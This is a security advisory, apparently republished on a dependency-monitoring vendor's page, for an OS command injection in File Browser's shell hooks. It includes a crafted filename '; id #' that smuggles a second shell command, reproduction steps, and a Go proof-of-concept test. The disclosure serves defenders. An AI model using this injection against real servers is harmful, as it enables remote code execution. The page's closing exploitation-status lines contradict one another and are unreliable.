Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-jvpw-637p-h3pw
No affected components available
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File:
runner/runner.go - Function:
Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
// runner/runner.go
envMapping := func(key string) string {
switch key {
case "FILE":
return path // attacker-controlled filename
case "USERNAME":
return username // attacker-controlled username
// ...
}
}
for i, arg := range command {
if i == 0 { continue }
command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.
Attack Scenario / Reproduction Steps
- Admin configures an
after_uploadhook:sh -c "echo created $FILE". - The attacker (authenticated user with upload permission) uploads a file named
; id #. - The upload succeeds and the hook fires automatically.
- The server executes:
sh -c "echo created /uploads/; id #" - The
idcommand runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
package runner
import (
"os"
"testing"
"github.com/filebrowser/filebrowser/v2/settings"
)
func TestPoC_FileHookInjection(t *testing.T) {
// Simulate an admin-configured shell-based hook
r := &Runner{
Enabled: true,
Settings: &settings.Settings{
Shell: []string{"sh", "-c"},
Commands: map[string][]string{
"after_upload": {"echo Uploaded $FILE"},
},
},
}
// Malicious filename crafted by the attacker
maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go
raw := r.Commands["after_upload"][0]
command, _, _ := ParseCommand(r.Settings, raw)
envMapping := func(key string) string {
if key == "FILE" {
return maliciousFilename
}
return os.Getenv(key)
}
for i, arg := range command {
if i == 0 {
continue
}
// os.Expand substitutes $FILE with the attacker-controlled filename —
// no escaping is applied, so shell metacharacters pass through unchanged.
command[i] = os.Expand(arg, envMapping)
}
// The resulting command argument is the injected shell script:
// sh -c "echo Uploaded /tmp/safe; id #"
expectedArg := "echo Uploaded /tmp/safe; id #"
if command[2] != expectedArg {
t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
}
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard